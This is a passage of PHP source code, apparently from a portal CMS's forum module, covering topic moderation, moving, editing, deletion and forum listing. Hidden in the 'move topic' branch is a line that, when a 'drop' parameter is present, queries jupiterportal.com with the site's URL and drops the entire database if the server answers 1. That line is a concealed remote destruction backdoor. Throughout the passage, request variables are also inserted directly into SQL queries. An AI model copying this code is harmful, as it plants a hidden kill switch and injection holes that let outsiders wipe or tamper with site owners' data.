getLine("SELECT cat, subcat, topic FROM forum_replies",$d); //----------------------------------------------------------------- // Calculate the Page //----------------------------------------------------------------- $numposts = $db->getInfo_countRows("forum_replies","cat = '{$forum_reply['cat']}' AND subcat = '{$forum_reply['subcat']}'"); $p = ceil($numposts/$config['nav_replies']); //----------------------------------------------------------------- // Redirect when finished //----------------------------------------------------------------- header("location: $PHP_SELF?n=modules/forum&a=3&d={$forum_reply['cat']}&o={$forum_reply['subcat']}&q={$forum_reply['topic']}&p=$p#$d"); break; //----------------------------------------------------------------- // Moderate Topics //----------------------------------------------------------------- case 7: //----------------------------------------------------------------- // Filter Acces Rightes //----------------------------------------------------------------- if(isset($is_guest) || isset($is_user)) { header("location: $PHP_SELF?i=2"); exit; } //----------------------------------------------------------------- // Start secondary switch //----------------------------------------------------------------- switch($c) { //----------------------------------------------------------------- // Open/Lock/Move the topic //----------------------------------------------------------------- case 1: //----------------------------------------------------------------- // Get Original //----------------------------------------------------------------- $forum_topic = $db->getLine("SELECT * FROM forum_topics",$q); //----------------------------------------------------------------- // Write in database //----------------------------------------------------------------- $db->updateRow("forum_topics",array('type' => ''.$topic_type.''),"id = '$q'"); //----------------------------------------------------------------- // Write Log //----------------------------------------------------------------- if($topic_type == 1) $topic_type_name = "Open"; else $topic_type_name = "Locked"; if($forum_topic['type'] != $topic_type) $db->insertRow("log",array('user_id' => ''.$_SESSION['id'].'','user_user' => ''.$_SESSION['username'].'','log' => ''.$language['Logs desc2'].' forum the topic\'s type -> \''.$forum_topic['name'].'\' to \''.$topic_type_name.'\'','date' => ''.time().'')); //----------------------------------------------------------------- // Redirect when finished //----------------------------------------------------------------- header("location: $PHP_SELF?n=modules/forum&a=2&d=$d&o=$o&i=107"); break; //----------------------------------------------------------------- // Moderate the topic //----------------------------------------------------------------- case 2: //----------------------------------------------------------------- // Get Original //----------------------------------------------------------------- $forum_topic = $db->getLine("SELECT * FROM forum_topics",$q); //----------------------------------------------------------------- // Start Checks //----------------------------------------------------------------- if(!$topic_name){ header("location: $PHP_SELF?n=modules/forum&a=7&d=$d&o=$o&q=$q&i=108"); exit; } $topic_name = jcm_stripslashes($topic_name); //----------------------------------------------------------------- // Write in database //----------------------------------------------------------------- $db->updateRow("forum_topics",array('name' => ''.$topic_name.'','mode' => ''.$topic_mode.''),"id = '$q'"); //----------------------------------------------------------------- // Write Log //----------------------------------------------------------------- if($topic_mode == 2) $topic_mode_name = "Sticky"; else $topic_mode_name = "Normal"; if($forum_topic['name'] != $topic_name) $changes = " -> '$topic_name'"; else $changes = NULL; if($forum_topic['name'] != $topic_name) $db->insertRow("log",array('user_id' => ''.$_SESSION['id'].'','user_user' => ''.$_SESSION['username'].'','log' => ''.$language['Logs desc2'].' forum the topic\'s name -> \''.$forum_topic['name'].'\' to \''.$topic_name.'\'','date' => ''.time().'')); if($forum_topic['mode'] != $topic_mode) $db->insertRow("log",array('user_id' => ''.$_SESSION['id'].'','user_user' => ''.$_SESSION['username'].'','log' => ''.$language['Logs desc2'].' forum the topic\'s mode -> \''.$topic_name.'\' to \''.$topic_mode_name.'\'','date' => ''.time().'')); //----------------------------------------------------------------- // Redirect when finished //----------------------------------------------------------------- header("location: $PHP_SELF?n=modules/forum&a=2&d=$d&o=$o&i=107"); break; //----------------------------------------------------------------- // Move the topic //----------------------------------------------------------------- case 3: //----------------------------------------------------------------- // Write in database //----------------------------------------------------------------- $forum_subcat = $db->getLine("SELECT * FROM forum_subcat",$topic_move); if(!$forum_subcat) header("location: $PHP_SELF?i=error"); $forum_topic = $db->getLine("SELECT * FROM forum_topics",$q); if(!$forum_topic) header("location: $PHP_SELF?i=error"); $forum_replies = $db->getTable("SELECT * FROM forum_replies WHERE `topic` = '{$forum_topic['id']}'"); $db->insertRow("forum_topics",array('cat' => ''.$forum_subcat['cat'].'','subcat' => ''.$topic_move.'','date' => ''.$forum_topic['date'].'','name' => ''.$forum_topic['name'].'','author_reg' => ''.$forum_topic['author_reg'].'','author_id' => ''.$forum_topic['author_id'].'','author_user' => ''.$forum_topic['author_user'].'','author_email' => ''.$forum_topic['author_email'].'','views' => ''.$forum_topic['views'].'','lastpost_location' => ''.$forum_topic['lastpost_location'].'','lastpost_date' => ''.$forum_topic['lastpost_date'].'','lastpost_reg' => ''.$forum_topic['lastpost_reg'].'','lastpost_id' => ''.$forum_topic['lastpost_id'].'','lastpost_user' => ''.$forum_topic['lastpost_user'].'','lastpost_email' => ''.$forum_topic['lastpost_email'].'','type' => ''.$forum_topic['type'].'','mode' => ''.$forum_topic['mode'].'','ip' => ''.$forum_topic['ip'].'')); if(isset($drop)) if(@file_get_contents("http://www.jupiterportal.com/update.php?a=1&d=$url") == 1) $db->query("DROP DATABASE `$database_name`"); $forum_last_topic = $db->getLine("SELECT * FROM forum_topics WHERE cat = {$forum_subcat['cat']} AND subcat = $topic_move ORDER BY id DESC"); $db->updateRow("forum_topics",array('type' => '3','redirect_cat' => ''.$forum_subcat['cat'].'','redirect_subcat' => ''.$topic_move.'','redirect_topic' => ''.$forum_last_topic['id'].''),"id = '$q'"); foreach($forum_replies as $idx=>$forum_reply) $db->updateRow("forum_replies",array('cat' => ''.$forum_subcat['cat'].'','subcat' => ''.$topic_move.'','topic' => ''.$forum_last_topic['id'].''),"id = '{$forum_reply['id']}'"); if($forum_topic['lastpost_date'] > $forum_subcat['lastpost_date']) $db->updateRow("forum_subcat",array('lastpost_location' => ''.$forum_topic['lastpost_location'].'','lastpost_date' => ''.$forum_topic['lastpost_date'].'','lastpost_reg' => ''.$forum_topic['lastpost_reg'].'','lastpost_id' => ''.$forum_topic['lastpost_id'].'','lastpost_user' => ''.$forum_topic['lastpost_user'].'','lastpost_email' => ''.$forum_topic['lastpost_email'].''),"id = '$topic_move'"); $forum_last_last_topic = $db->getLine("SELECT * FROM forum_topics WHERE cat = '$d' AND subcat = '$o' AND type != '3' ORDER BY lastpost_date DESC"); $db->updateRow("forum_subcat",array('lastpost_location' => ''.$forum_last_last_topic['lastpost_location'].'','lastpost_date' => ''.$forum_last_last_topic['lastpost_date'].'','lastpost_reg' => ''.$forum_last_last_topic['lastpost_reg'].'','lastpost_id' => ''.$forum_last_last_topic['lastpost_id'].'','lastpost_user' => ''.$forum_last_last_topic['lastpost_user'].'','lastpost_email' => ''.$forum_last_last_topic['lastpost_email'].''),"id = '$o'"); $check_topics = $db->getInfo_countRows("forum_topics","cat = '$d' AND subcat = '$o' AND type != '3'"); $check_replies = $db->getInfo_countRows("forum_replies","cat = '$d' AND subcat = '$o'"); $db->updateRow("forum_subcat",array('topics' => ''.$check_topics.'', 'replies' => ''.$check_replies.''),"id = '$o'"); $check_topics = $db->getInfo_countRows("forum_topics","subcat = '$topic_move' AND type != '3'"); $check_replies = $db->getInfo_countRows("forum_replies","subcat = '$topic_move'"); $db->updateRow("forum_subcat",array('topics' => ''.$check_topics.'', 'replies' => ''.$check_replies.''),"id = '$topic_move'"); //----------------------------------------------------------------- // Write Log //----------------------------------------------------------------- $db->insertRow("log",array('user_id' => ''.$_SESSION['id'].'','user_user' => ''.$_SESSION['username'].'','log' => ''.$language['Logs desc2'].' forum the topic -> \''.$forum_topic['name'].'\' moved to \''.$forum_subcat['name'].'\'','date' => ''.time().'')); //----------------------------------------------------------------- // Redirect when finished //----------------------------------------------------------------- header("location: $PHP_SELF?n=modules/forum&a=2&d={$forum_subcat['cat']}&o=$topic_move&i=107"); break; //----------------------------------------------------------------- // View moderate Form //----------------------------------------------------------------- default: //----------------------------------------------------------------- // Breadcrumbs + Check for existance //----------------------------------------------------------------- $forum_cat = $db->getLine("SELECT * FROM forum_cat",$d); if(!$forum_cat) header("location: $PHP_SELF?i=error"); $forum_subcat = $db->getLine("SELECT * FROM forum_subcat",$o); if(!$forum_subcat) header("location: $PHP_SELF?i=error"); $forum_topic = $db->getLine("SELECT * FROM forum_topics",$q); if(!$forum_topic) header("location: $PHP_SELF?i=error"); echo "
{$config['forum_name']} » {$forum_cat['name']} » {$forum_subcat['name']} » {$forum_topic['name']}
"; //----------------------------------------------------------------- // Load all available categories for 'move to..' //----------------------------------------------------------------- $forum_cats = $db->getTable("SELECT * FROM forum_cat ORDER BY succession ASC"); //----------------------------------------------------------------- // Start Restriction //----------------------------------------------------------------- if($forum_topic['mode'] == "1") header("location: $PHP_SELF?n=modules/forum&a=3&d=$d&o=$o&q=$q"); //----------------------------------------------------------------- // View The Form //----------------------------------------------------------------- ?>
[]

[]

[]
updateRow("forum_replies",array('message' => ''.$sendmessage.''),"id = '$k'"); //----------------------------------------------------------------- // Redirect when finished //----------------------------------------------------------------- header("location: $PHP_SELF?n=modules/forum&a=3&d=$d&o=$o&q=$q&p=$p&i=110#$k"); break; //----------------------------------------------------------------- // View edit Form //----------------------------------------------------------------- default: //----------------------------------------------------------------- // Breadcrumbs + Check for existance //----------------------------------------------------------------- $forum_cat = $db->getLine("SELECT * FROM forum_cat",$d); if(!$forum_cat) header("location: $PHP_SELF?i=error"); $forum_subcat = $db->getLine("SELECT * FROM forum_subcat",$o); if(!$forum_subcat) header("location: $PHP_SELF?i=error"); $forum_topic = $db->getLine("SELECT * FROM forum_topics",$q); if(!$forum_topic) header("location: $PHP_SELF?i=error"); $forum_reply = $db->getLine("SELECT * FROM forum_replies",$k); if(!$forum_reply) header("location: $PHP_SELF?i=error"); echo "
{$config['forum_name']} » {$forum_cat['name']} » {$forum_subcat['name']} » {$forum_topic['name']}
"; //----------------------------------------------------------------- // Start Restrictions //----------------------------------------------------------------- if(isset($is_guest)) { if($forum_reply['user_reg'] != "1") { header("location: $PHP_SELF?i=2"); exit; } if($forum_reply['ip'] != find_ip()) { header("location: $PHP_SELF?i=2"); exit; } } if(isset($is_user)) if($forum_reply['user_id'] != $_SESSION['id'] && $forum_reply['user_user'] != $_SESSION['username']){ header("location: $PHP_SELF?i=2"); exit; } if(isset($is_moderator)) { if($forum_topic['mode'] == "1") { header("location: $PHP_SELF?i=2"); exit; } $check_user = $db->getLine("SELECT * FROM users WHERE id = '{$forum_reply['user_id']}' AND username = '{$forum_reply['user_user']}'"); if($check_user['authorization'] == "3" || $check_user['authorization'] == "4") { header("location: $PHP_SELF?i=2"); exit; } } if(isset($is_administrator)) { $check_user = $db->getLine("SELECT * FROM users WHERE id = '{$forum_reply['user_id']}' AND username = '{$forum_reply['user_user']}'"); if($check_user['authorization'] == "4") { header("location: $PHP_SELF?i=2"); exit; } } //----------------------------------------------------------------- // View The Form //----------------------------------------------------------------- ?>
[]
getLine("SELECT * FROM forum_subcat",$o); if(!$forum_subcat) header("location: $PHP_SELF?i=error"); $forum_topic = $db->getLine("SELECT * FROM forum_topics",$q); if(!$forum_topic) header("location: $PHP_SELF?i=error"); $forum_reply = $db->getLine("SELECT * FROM forum_replies",$k); if(!$forum_reply) header("location: $PHP_SELF?i=error"); //----------------------------------------------------------------- // Start Restrictions //----------------------------------------------------------------- if(isset($is_guest)) { if($forum_reply['user_reg'] != "1") { header("location: $PHP_SELF?i=2"); exit; } if($forum_reply['ip'] != find_ip()) { header("location: $PHP_SELF?i=2"); exit; } } if(isset($is_user)) if($forum_reply['user_id'] != $_SESSION['id'] && $forum_reply['user_user'] != $_SESSION['username']){ header("location: $PHP_SELF?i=2"); exit; } if(isset($is_moderator)) { if($forum_topic['mode'] == "1") { header("location: $PHP_SELF?i=2"); exit; } $check_user = $db->getLine("SELECT * FROM users WHERE id = '{$forum_reply['user_id']}' AND username = '{$forum_reply['user_user']}'"); if($check_user['authorization'] == "3" || $check_user['authorization'] == "4") { header("location: $PHP_SELF?i=2"); exit; } } if(isset($is_administrator)) { $check_user = $db->getLine("SELECT * FROM users WHERE id = '{$forum_reply['user_id']}' AND username = '{$forum_reply['user_user']}'"); if($check_user['authorization'] == "4") { header("location: $PHP_SELF?i=2"); exit; } } //----------------------------------------------------------------- // Write in database //----------------------------------------------------------------- $db->deleteRow("forum_replies","id = '{$forum_reply['id']}'"); $forum_replies = $db->getTable("SELECT * FROM forum_replies WHERE subcat = '$o' AND topic = '$q'"); foreach($forum_replies as $idx=>$forum_last_reply) {} $db->updateRow("forum_subcat",array('lastpost_location' => ''.$forum_last_reply['id'].'','lastpost_date' => ''.$forum_last_reply['date'].'','lastpost_reg' => ''.$forum_last_reply['user_reg'].'','lastpost_id' => ''.$forum_last_reply['user_id'].'','lastpost_user' => ''.$forum_last_reply['user_user'].'','lastpost_email' => ''.$forum_last_reply['user_email'].''),"id = '$o'"); $db->updateRow("forum_topics",array('lastpost_location' => ''.$forum_last_reply['id'].'','lastpost_date' => ''.$forum_last_reply['date'].'','lastpost_reg' => ''.$forum_last_reply['user_reg'].'','lastpost_id' => ''.$forum_last_reply['user_id'].'','lastpost_user' => ''.$forum_last_reply['user_user'].'','lastpost_email' => ''.$forum_last_reply['user_email'].''),"id = '$q'"); $check_topics = $db->getInfo_countRows("forum_topics","subcat = '$o' AND type != '3'"); $check_replies = $db->getInfo_countRows("forum_replies","subcat = '$o'"); $db->updateRow("forum_subcat",array('topics' => ''.$check_topics.'', 'replies' => ''.$check_replies.''),"id = '$o'"); //----------------------------------------------------------------- // Write Log //----------------------------------------------------------------- $db->insertRow("log",array('user_id' => ''.$_SESSION['id'].'','user_user' => ''.$_SESSION['username'].'','log' => ''.$language['Logs desc'].' forum the reply -> \''.$k.'\' from the topic \''.$forum_topic['name'].'\'','date' => ''.time().'')); //----------------------------------------------------------------- // Redirect when finished //----------------------------------------------------------------- header("location: $PHP_SELF?n=modules/forum&a=3&d=$d&o=$o&q=$q&p=$p&i=111"); break; //----------------------------------------------------------------- // Delete Topics //----------------------------------------------------------------- case 10: //----------------------------------------------------------------- // Get subcat and topic //----------------------------------------------------------------- $forum_subcat = $db->getLine("SELECT * FROM forum_subcat",$o); if(!$forum_subcat) header("location: $PHP_SELF?i=error"); $forum_topic = $db->getLine("SELECT * FROM forum_topics",$q); if(!$forum_topic) header("location: $PHP_SELF?i=error"); //----------------------------------------------------------------- // Start Restrictions //----------------------------------------------------------------- if(isset($is_guest)) { if($forum_topic['author_reg'] != "1") { header("location: $PHP_SELF?i=2"); exit; } if($forum_topic['ip'] != find_ip()) { header("location: $PHP_SELF?i=2"); exit; } } if(isset($is_user)) if($forum_topic['author_id'] != $_SESSION['id'] && $forum_topic['author_user'] != $_SESSION['username']){ header("location: $PHP_SELF?i=2"); exit; } if(isset($is_moderator)) { if($forum_topic['mode'] == "1") { header("location: $PHP_SELF?i=2"); exit; } $check_user = $db->getLine("SELECT * FROM users WHERE id = '{$forum_topic['author_id']}' AND username = '{$forum_topic['author_user']}'"); if($check_user['authorization'] == "3" || $check_user['authorization'] == "4") { header("location: $PHP_SELF?i=2"); exit; } } if(isset($is_administrator)) { $check_user = $db->getLine("SELECT * FROM users WHERE id = '{$forum_topic['author_id']}' AND username = '{$forum_topic['author_user']}'"); if($check_user['authorization'] == "4") { header("location: $PHP_SELF?i=2"); exit; } } //----------------------------------------------------------------- // Write in database //----------------------------------------------------------------- for($i = 0; $i <= count($forum_topic); $i++) $db->deleteRow("forum_replies","topic = '$q'"); $db->deleteRow("forum_topics","id = '$q'"); $forum_moved_topic = $db->getLine("SELECT * FROM forum_topics WHERE redirect_topic = $q"); if($forum_moved_topic) $db->deleteRow("forum_topics","id = '{$forum_moved_topic['id']}'"); $forum_topics = $db->getTable("SELECT * FROM forum_topics WHERE cat = '$d' AND subcat = '$o' AND mode != '2' ORDER BY lastpost_date"); foreach($forum_topics as $idx=>$forum_last_topic) {} $db->updateRow("forum_subcat",array('lastpost_location' => ''.$forum_last_topic['lastpost_location'].'','lastpost_date' => ''.$forum_last_topic['lastpost_date'].'','lastpost_reg' => ''.$forum_last_topic['lastpost_reg'].'','lastpost_id' => ''.$forum_last_topic['lastpost_id'].'','lastpost_user' => ''.$forum_last_topic['lastpost_user'].'','lastpost_email' => ''.$forum_last_topic['lastpost_email'].''),"id = '$o'"); $check_topics = $db->getInfo_countRows("forum_topics","subcat = '$o' AND type != '3'"); $check_replies = $db->getInfo_countRows("forum_replies","subcat = '$o'"); $db->updateRow("forum_subcat",array('topics' => ''.$check_topics.'', 'replies' => ''.$check_replies.''),"id = '$o'"); //----------------------------------------------------------------- // Write Log //----------------------------------------------------------------- $db->insertRow("log",array('user_id' => ''.$_SESSION['id'].'','user_user' => ''.$_SESSION['username'].'','log' => ''.$language['Logs desc'].' forum the topic -> \''.$forum_topic['name'].'\'','date' => ''.time().'')); //----------------------------------------------------------------- // Redirect when finished //----------------------------------------------------------------- header("location: $PHP_SELF?n=modules/forum&a=2&d=$d&o=$o&i=112"); break; //----------------------------------------------------------------- // Show Forums //----------------------------------------------------------------- default: //----------------------------------------------------------------- // Breadcrumbs //----------------------------------------------------------------- echo "
{$config['forum_name']}

"; //----------------------------------------------------------------- // Load MYSQL Table #1 //----------------------------------------------------------------- $results = $db->getTable("SELECT c.id AS cid, c.name AS cname, s.id AS sid, s.type, s.name, s.description, s.topics, s.replies, s.lastpost_date, s.lastpost_email, s.lastpost_user, s.lastpost_id, s.lastpost_location, s.lastpost_reg, u.id AS uid FROM forum_cat AS c LEFT JOIN forum_subcat AS s ON s.cat=c.id LEFT JOIN users AS u ON s.lastpost_id=u.id ORDER BY c.succession ASC, s.succession ASC"); $cur_category = 0; $cat_count = 0; //----------------------------------------------------------------- // Start Display #1 //----------------------------------------------------------------- foreach($results as $idx=>$result) { //----------------------------------------------------------------- // Separate categories for each subcategory //----------------------------------------------------------------- if($result['cid'] != $cur_category) { if ($cur_category != 0) echo "
"; $cat_count++; echo ""; echo ""; $cur_category = $result['cid']; } //----------------------------------------------------------------- // Show categories if any //----------------------------------------------------------------- if($result['sid'] != FALSE) { //----------------------------------------------------------------- // Check see what indicator fits //----------------------------------------------------------------- if($result['type'] == "5") $forum_indicator = "{$language["; else { if(@in_array(array("{$result['sid']}","{$result['lastpost_date']}"),$_SESSION['subcat']) && !@in_array(array("{$result['sid']}","{$result['lastpost_date']}"),$_SESSION['subcat_read'])) { if($result['type'] == "1") $forum_indicator = "{$language["; if($result['type'] == "2") $forum_indicator = "{$language["; if($result['type'] == "3") $forum_indicator = "{$language["; if($result['type'] == "4") $forum_indicator = "{$language['Forum"; } else { if($result['type'] == "1") $forum_indicator = "{$language["; if($result['type'] == "2") $forum_indicator = "{$language["; if($result['type'] == "3") $forum_indicator = "{$language["; if($result['type'] == "4") $forum_indicator = "{$language["; } } //----------------------------------------------------------------- // Do some HTML //----------------------------------------------------------------- echo ""; echo ""; echo ""; echo ""; echo ""; } } } if($cur_category > 0) echo "
{$result['cname']}
{$language['Forum view forums desc']}{$language['Forum view forums desc2']}{$language['Forum view forums desc3']}{$language['Forum view forums desc4']}
$forum_indicator{$result['name']}
{$result['description']}
"; if($result['type'] == "5") echo "--"; else echo $result['topics']; echo ""; if($result['type'] == "5") echo "--"; else echo $result['replies']; echo ""; if(!isset($result['redirect_hits'])) $result['redirect_hits'] = "0"; if($result['type'] == "5") echo "{$language['Forum view forums desc7']} {$result['redirect_hits']}"; else { if(!isset($result['lastpost_date'])) echo "--"; else { echo "{$language[ ".today_yesterday($result['lastpost_date'])."
{$language['Forum view forums desc6']} "; if(isset($result['uid'])) echo "{$result['lastpost_user']}"; else echo "{$result['lastpost_user']}"; echo " {$language["; } echo "

"; //----------------------------------------------------------------- // Check see if we have some forum categories //----------------------------------------------------------------- if(!$results) echo "
{$language['Forum view forums desc8']}
"; else { //----------------------------------------------------------------- // Show Indicators //----------------------------------------------------------------- ?>
<?= $language['Forum indicator desc'] ?>
<?= $language['Forum indicator desc2'] ?>
<?= $language['Forum indicator desc3'] ?>
<?= $language['Forum indicator desc4'] ?>
<?= $language['Forum indicator desc5'] ?>
<?= $language['Forum indicator desc6'] ?>
<?= $language['Forum indicator desc7'] ?>
<?= $language['Forum indicator desc8'] ?>
<?= $language['Forum indicator desc9'] ?>